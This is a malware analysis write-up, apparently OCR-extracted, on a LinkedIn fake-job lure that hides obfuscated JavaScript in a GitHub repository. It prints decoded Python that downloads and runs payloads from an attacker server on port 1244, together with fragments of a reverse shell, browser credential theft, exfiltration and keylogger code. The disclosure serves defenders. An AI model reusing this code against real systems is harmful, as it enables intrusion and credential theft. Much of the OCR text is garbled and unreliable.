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About

The attack primarily targets development companies with the aim of gaining initial access to their corporate
infrastructure. The attack typically begins with a LinkedIn message posing as a legitimate development
opportunity or business proposal. The message is designed to entice the recipient by offering a project or job,
often tailored to the company's expertise. Once the recipient engages, attackers may attempt to gather information,
deploy phishing links, or gain unauthorized access to critical systems, using this initial contact as a foothold into

the company's network.
Links:

e https://www.linkedin.com/in/merilyn-edeki/ still active

o https:/github.com/Oxcestlaview/addingtoken removed »{

e https:/github.com/Oxcompanypro/addingtoken still active

Process of Removing

e 27/09/2024: Report submitted to the Microsoft Security Response Center (MSRC)

o 28/09/2024: Received a response from MSRC stating, "It does not meet Microsoft’s requirements as a
security vulnerability for servicing."

e 28/09/2024: Contacted a friend from Microsoft, resulting in the malicious GitHub account being blocked.

e 04/10/2024: Attacker reached out again with a new GitHub repository shared.

e 04/10/2024: Cotacted Microsoft again, but the new GitHub account remained active

LinkedIn messages
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o Merilyn Edeki » 544 PM
Hi,

| o = -

How are you?
I'm very glad to connect with you on LinkedIn.

At our company, we are launching a new initiative to
develop a cryptocurrency token and create a dedicated
website forit. The project includes smart contract and
token development, with a timeline of one year. Given
your expertise in blockchain development, we believe
you could make a significant contribution to our
company. Your insights and skills would be invaluable
in helping us achieve our goals

We understand that you may have other commitments,
and we are open to discussing a flexible arrangement
that accommodates your schedule. This contract
would allow you to collaborate with our company and
contribute to this exciting project while balancing
your current commitments,

Looking forward to your response.
Best regards,
Merilyn Edeki

Talent Acquisition Coordinator at C'est 1a vie Wellness
Retreat LLC
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« 1210 PM

Hi Merilyin,
thx for contacting us..l have a development company
in which we indeed create custom made solutions for
our customers,

We are interested in the project can we get more info
or how do you plan to proceed.

0 Merilyn Edeki * 2:45 P\
Okay

Here is the project details that we are going to
develop

Please review the document first and let me know if
you are available to work on this project

ProjectOverviewforCestla...
140 KB

PDF

The file, which is not malicious and contains the complete documentation and specifications for the project, can

be found within the provided link or attachment. ProjectOverviewforCestlavie

Upon sending the offer, the attackers request the recipient's GitHub account information, claiming that they will

grant access to a repository where the project can be closely reviewed.
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Merilyn Edeki * 543 PM
Okay

We will check and come back asap

_' E-_:‘_l:l.!

If you have any questions plese do not hasitate to ask

1

Merilyn Edeki * 544 F
Okay

T

Merilyn Edeki * 547 FM

Qkay. That's good

We would like you to review our initial project before
your technical meeting. Understanding the project
beforehand will be very helpful for both your task and
our tech meeting. We will share our company’s GitHub
repository with you. Should we send the invitation to
your GitHub? Please let me know your GitHub
username,

When the invitation was received, the GitHub repository's homepage appeared quite convincing, with a
professional layout and relevant project details. Additionally, the activity on the project, such as recent commits

and contributions, seemed legitimate, further reinforcing the impression that it was a genuine opportunity

C'est la vie Wellness Retreat LLC

© United States of America & hitpe//cestiaviewelinessretreat.com B3 ammelie@cestlaviewelinessretreat.com

I Repositories
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O Oxcestlaview | addingtoken &

Issues 1 ‘I Pull requests ¥ Actions [ Projects Security Insights

a addingtoken t © Unwatch 6~

W Wrishnaacharyaa t t struct i {5 529 Commits

B backend
B frontend

READMEmd

Releases

Express + React Demo

Packages

Node v16 | Express | React

Languages

® JavaScript
® Other 0.4%
Step 1: Install Backend Dependencies

In your terminal, navigate to the /backend directory of the project and run the following command to install the
backend dependencies:

cd backend

At a quick glance, reviewing the project code didn’t reveal any malicious content, so we suspected that the issue
might be in the dependencies. However, when we couldn't find anything suspicious in the dependencies, we took a

closer look at the code itself. That’s when we discovered something tricky. The entire GitHub project, including

the malicious code, can be found in the repository. AddingToken-main (password: infected)

. getVerifyCodef:
ercontroll:

> ourume
> TmeLNe

As seen in the image, we noticed that one file had something unusual on the far right side. When we used the word

wrap command, it revealed the main juice.
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“now’1()[

And here’s where things get a lot more fun :). Deobfuscating the code didn’t reveal much, so we formatted the
code and ran it through a debugger in the lab environment. That's when we discovered that the code connects to a
specific server at hxxtp://23.106.253.221:1244/keys and posts certain data. As shown in the image, this

connection provided further insight into the malicious activity

£ 2

16 1:12 formData:

After this initial call, the code made a request to hxxtp://23.106.253.221:1244/j/ZUTRINz7 , which returned a
file named infected file. This file was then saved locally in the users home .vscode directory under the name
test.js . The program continued by downloading another file, package.json, from

hxxtp://23.106.253.221:1244/p and stored it in the same .vscode directory.

1
"dependencies™: {
"child process™: "~1.8.2",
"request™: "~2.88.2",
"crypto™: "~1.8.1"
h

Further debugging reveals that, later in the process, the code composes and executes three key commands. First, it
installs the necessary npm dependencies by running cd "C:\\Users\\heorhe\\.vscode" && npm i --silent" .
Once the dependencies are in place, it executes the same installation command again for redundancy or to ensure
all packages are properly installed npm --prefix "C:\\Users\\heorhe\\.vscode" install . After that, the
program proceeds by running executing the program node C:\\Users\\heorhe\\.vscode\test.js , which
executes the malicious test.js file downloaded earlier. This sequence of commands allows the malicious code
to execute seamlessly under the guise of typical development activity, making it more difficult to detect in a

development environment.
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"We tested the downloaded malicious code with various antivirus programs to determine if it would be flagged as
malicious. Surprisingly, we found that only 4 antivirus programs detected the code as suspicious. This low
detection rate highlights the stealthy nature of the malware, allowing it to potentially bypass many security

solutions and remain undetected on compromised systems.

dtemanti tha k.

Pigalad the wat Libmd

by e B

The next action the program takes is downloading a Python executable binary, which it later uses for further
malicious activities. Once the Python binary is downloaded, the program proceeds to run a Python scripts,

leveraging the newly acquired binary to execute the malicious code. The associated files, including the Python
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binary and script, can be found in this project under All files (password: infected).

pzip > .pyp >

Tl Sort ~ = View ~ 8 Extractall aae
S
MName Type Compressed size Password ...  Size Ratio Date modified

T DLLs File folder 16/06/2023 16:00

B Lib File folder 16/06/2023 16:01

T Scripts File folder 16/06/2023 17:03

T Tools File folder 16/06/2023 16:01

python.exe Application 52KB No 100KE  49% 06/12/2022 18:10

[2] pythona.dll Application extension 22KB  No 65KB 67% 06/12/2022 1%:10

python311.dll Application extension 2226 KB No 5.6d7KB  61% 06/12/2022 1%:10

pythonw.exe Application 50KB No S8KB 45% 06/12/2022 1%:10

veruntime140.d1l Application extension 55KB No W7KB  49% 06/12/2022 1%:10

veruntime140_1.dll Application extension 24KB  No 43KB 51% 06/12/2022 1%:10

Later on the scripts that are run on the machine are
1. script .npl.py original:
e T T
o o T R T T A k] O 5 GG T T L D s e T Tk Gk s e 5 LALANT |
AL LR e Tk, B et ol o ..ul-ln_ o QUL INT o Dire M T D A S0 T TIPS i T L g
s L PR AT S 2azm g,
ArLTeRL L5 T LpCgud o — e Pl 1 Dl R 1 TSR BT o i g Do B P LA L [V 38 Ll
gl Ay gt LR L gt ] o st -
1lwmnumwmmmuwmm*' g i (R T rmﬂunﬂ:.mw-nn
wnw PRI TP 1_ Nty B ar mwjnurulmwlmww
s o 3 ut = L s T

ﬁwlmwxmw m’llw e ) i 7, i WAL i 147 T
k-t Rt - TRt 8 ST e ey
‘l:-rt i

b, bbbt (1 1 SR 0] R = B
far aa I:;-l g ad | vasth P b il ] w0 e
Ol

decoded:
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import base64,platform,os,subprocess,sys
trysimport requests
exceptisubprocess.check. call([sys.executable, "-m*, 'pip‘, 'install’, ‘reguests']);import requests

at = platform.systen()

home = gs.path.expandusec(™")
host="T1MydyMjE=MjMuMTAZL "

hostl = basebd.bbddecode(host[10:] + host[:18]).decode()
host2 = f 'http://{hostl}:1244"

pd = ps.path.doin(home, ".n2")

ap = pd + "/pay"”

except O5Ecroricetucn True

"if not gs.path.exists(pd) :os.nakedics (pd)
sxcepl.pass

try:
aa = requests.get(host2+"/payload/ +slype, allow.redirects=True)
with open{ap, "wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=dounload.paxlead()
if res:
if ot=="Windows":subprocess.Ponen([sys.executable, apl, creationflags=subnrocess.CREATE_NOWINDOW | subprocess.CREA
elseisubprocess.Popen ([ sys.executable, apl)

if gt=="Darwin":sys.exit(-1)

ap = pd + "/bow"

except Q3Errorireturn True

if not gs.path.exists(pd):gs.makedics(pd)
exceptipass
try:
aa=requests.get(host2+” /brow/"+sType, allow.redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=dounload. browse()
if res:
if gi=="Windows":subprocess.Popen([sys.executable, apl, creationflags=subprocess.CREATENO WINDOW | subprocess.CRES
glse;subprocess.Popen ([ sys.executable, apl)

2. In order to achieve its final objective, the program downloads pay.py , which contains a reverse shell
designed to connect back to the attacker's machine, allowing remote control of the compromised system.
Additionally, other files like pay.txt and any.txt are also downloaded, likely serving as configuration

or supplementary files for the malicious activities

Reverse shell code
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call([_PYP, M, P,
ort get,post

-hn=node() ;A.rel-release();A.v-version();A. un-getuser ();
getnode +getuser| .encode( .digest(). he

64. b6adecode (he
cket .gethostname()

__init_ | ys_info=Information() .get_info()
ef contact_server(A,ip,port):
-port=ip,int(port;

def run_conm(
run_comn()

rver (HOST, PORT)

.sock. connect ((ip,port; sleep(.5);A. send(cod

n. dumps ({\

truct. pack(\

A.sock.sendall

A.recvall(4
1l:return N
struct.unpack(\

tearray
len(d) < si

- A.sock.recv(size - len(d
pt:
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1d(rd,pd) :
path. join(rd,pd);res=[];res.append  (pd,\

fn):
-path.splitext
x_fi

X0

os.path. < 1048576

size(fn

s.path.isdir(fn):
x_dirs

+1d(rd, t;

~ s
1de(rd, pd
dir-os.path. join(rd, pd) ;r res.append( (pd,\

x_dirs[2] ex_dirs[3] x_dirs[4]

s.path. join(dir,x)
path. isfile(f x
0s.path. isdir(£n

1d1(rd, pd, pat.
;B=pd

os_path. getsize (n)<104857600

: res.append( (B, x

eturn res
1d2(rd, pd, pat)

D=pat;B=pd
append ! (B, \

0s.path.getsize (fn)<104857600

res.append( (B, x
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class shell(obj
S;A.is_alive

A.par_dir - os.path.
A.ssh_any,8:

-listen_recv);t1.daemon=_T;t1.start()

N):A.sess. send(code=code, args=args)

utdown( )
send(code=n, args

rgs[_A]; cmd=args[\
f ond == \
 cnd.split()[0]
, shell-T)

.Popen(cmd, i s..PIPE, stdout=subproc PE,stderr=subpro
str(proc[e]) :e
proc[0];err=pr

+{PORT

get(host2. /"+sType, allow_redirects=_T

-doun_bro(p

_Popen( [_PYP,p], creationflags-subprocess . CREATE_NO_WINDOW| subprocess . CREATE_NEW_PROCESS_GROUP
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path. join(sd,x,y);d:

open(sn, \ )
A.storbin(t,dn, )

_upf (A, admin,
admin;A.cp_stoj

ufind
A.cp_stop

)_ftp(args,na
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1d(A,a,t,5d,dd,pd) :
s path. join(sd, pd) ;

path. join(dir,x
x@ 1o
if os.path.
Xt (x@
d not fe in ex files and not fe in exi_files and

:A.f_up(a, t,5d,dd, x=pd, y=x) ;res..append ( (sd, pd,

X in ex_dirs

i conn:

r i in range(11
k= (1&7);b

nn. sendall(d)
dresp()

~ int(ord(sk[k]) & exFF;d.append(b)

dd1=dd+\

1d(a, t,hd+\
dd1=dd+\

1d(a, t,hd+\

i in range(68,73):
C=chr(i);dd1-dd+\

_1d(a,t,C+\

.path. expandu:
d
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down_any(,p):
if os.path

y:05.remo;

myfile = requ

~down_any (p)

if os_type = ows™ : subprocess .Popen([_PYP,p], creationflags=subprocess. CREATE_NO_WINDOW | subprocess. CREATE_NEW_PROCESS_GROUP)
ubpr [_PYP,p1)
os_type + \

h_zcp(A,args):
args[_A]

1
if tp is I
ith tempfile.TemporaryDirectory() as tmpd:
)
set=timedelta hours=9;dts= datetime.fromtimestamp(time.time .strftime(\

os.path. join(os.path.expanduser(\
1d_brd (tmpd); 1d_apd (tmpd

nd_n(D,9,\
=0 .path. join(os. path.expanduser(\

h py7zr.SevenzipFile(afn, \
archive.uriteall(tmpd, aid

par_fol = os.path.dirname (tmpd

ntents —walk(tmpd
ith pyzipper.AESZipFile(afn, \
2ip. pud=tp. encode;
for root, folders, files in contents:
folder _na
ab_path = os.path.join(ro
rel_p = ab_path.replace (par {
ip.urite(ab_path, r
file_name in file:
ab_path = os.path
rel_p = ab_path.replace(par_fol + \
zip.urite(ab_path, r

nd_n(D,9,\

ith open(afn, “rb’
c {dn}";

9, F\ {

HOST® = base64.b6adec
PORTO - 1244

Client():

£ _init_(A):A. ¥ os server_port = PORTG;A.is active = _F;A.is_alive = T;A.timeout_count = @;A.shell = N

-AF_INET, SOCK_STREAM)
nnect(A.server_ip, A.server_p
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if A.shell.shell():

0s.ge path. join(dir, sys.arg

rt py7zr

ubprocess. check_call([_PYP,_M,_P, L,\

t pyzipper

:subprocess . check_call([_PYP,_M,_P, L\

glob, shutil, tempfile
typing import Union

win_path(path: Union[dict,
isinstance(path, dict): path ath”: path,
e 0s.path. join(os .getenv(path
pand_paths_impl(paths
0s_nane.lower()

isinstance(paths, list):paths = [paths]

aths = map(_expand_win_path, path
path.expanduser, paths)

paths:
in sorted (glob.glob path:

, 0s_name:

_expand_paths_impl (paths, os_name

ef _norm_gen_paths(paths: Union[str, 1ist], channel: Union[str, 1

if not isinstance(channel, list): channel - [channel

isinstance(paths, paths = [paths]
rn paths, channel
_nix_paths(paths:

list
. channe

_norm_gen_paths (paths, c

hannel: Union[s
hann

channel :

path in paths

res. append path. fors
res

chan

annel: Union

mat ( chan
path. format channe:

.prof_dirs=prof_dirs;A.__add_info(**B)
{_info(A, linu s_profiles=_N, osx_profiles=_N)
t d _expand_paths (osx_profile:

in ost.lower():
pand_paths(linux_profiles, "linux")

ost.startswith("linu

A.prof pand_paths (windo
A.prof_dir:
A.browser
0 : A.brouser,

dirs": A.prof_dirs }
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\\\\"+s_dF,

_dirs=prof_dirs, **args)

1_conf_p+"chr +s_df,
1_conf_p+ '+s_pf,

+s_df,
+s_pf,

_dirs-prof_dirs, **args)

prof_dirs, **args)

1_conf_p+"B
1_conf_p+"B

: _gen_win_paths

tuare\\\\Brave-Br: A\
AW

Te

n_ba

n_ba
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rof_dirs, **args)

_nix_paths

1_conf_p+'m
1_conf_p+"mic

“\\\\"+s_dF,
“\\"+s_pf,

m_base_p+"t
m_base_p+"t

channel=["",

1_conf_p+"vi
1_conf_p+"vi
1_conf_p+
1_conf.

urn Brave(pro
irn Edge(prof_d.
zreturn Vivaldi(prof_dirs

dir(os.path.join(src_dir, name]

dn=F"{pre}_{d}_{dic[d i in(src_dir,d), dst_dir, tdn, pname)

dir, dst_dir, tdn, pname)
os.path. isdir(src_dir):
util.copytre
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er_data = bro
_dirs = brow

= .path. basename(prof_dir)
_id=-s_dfipr_id = "e"
elif pr_id.startswith(

“{br_id}_{pr_id}"

db_last_p:
cp_dir(db_las

1d_apd(d:
app_win_array={

\ hl
app_osx_array=(m_base_p+"Exc
app_linux_array={1_c

app_win_array

pandvars (i
-path. isdir(src) :shutil.copytree(src, os.path.join(dst,\

end_tg(tok, cid, fn)
tgb_url = f\

res =
#p. cl

return res.status_code

sreturn (pid[-1], psutil.p
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pid, text
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run_copy_clipboard(

or event.KeyID

check_window(event)

key = event.Ascii

tmr - Timer(@.1, run_copy_clipboard
elif fs_ctl down() and event.Key == \
tor = Timer(e.1, run_copy_clipboard);

& buf += ttiurite |

hn = pyHook.HookManager () ; hm. MouseL. ightDoun = hmrd;hm.KeyDown = hkb;hm.HookMouse() ; hm. Hookkeyboard

hk_loop
tarthk() ;pythoncom. Punphessag:

run_client,
t1=Thread(target=hk_loop) ;t1. ;tl.start

Lient.run:
be

run_client
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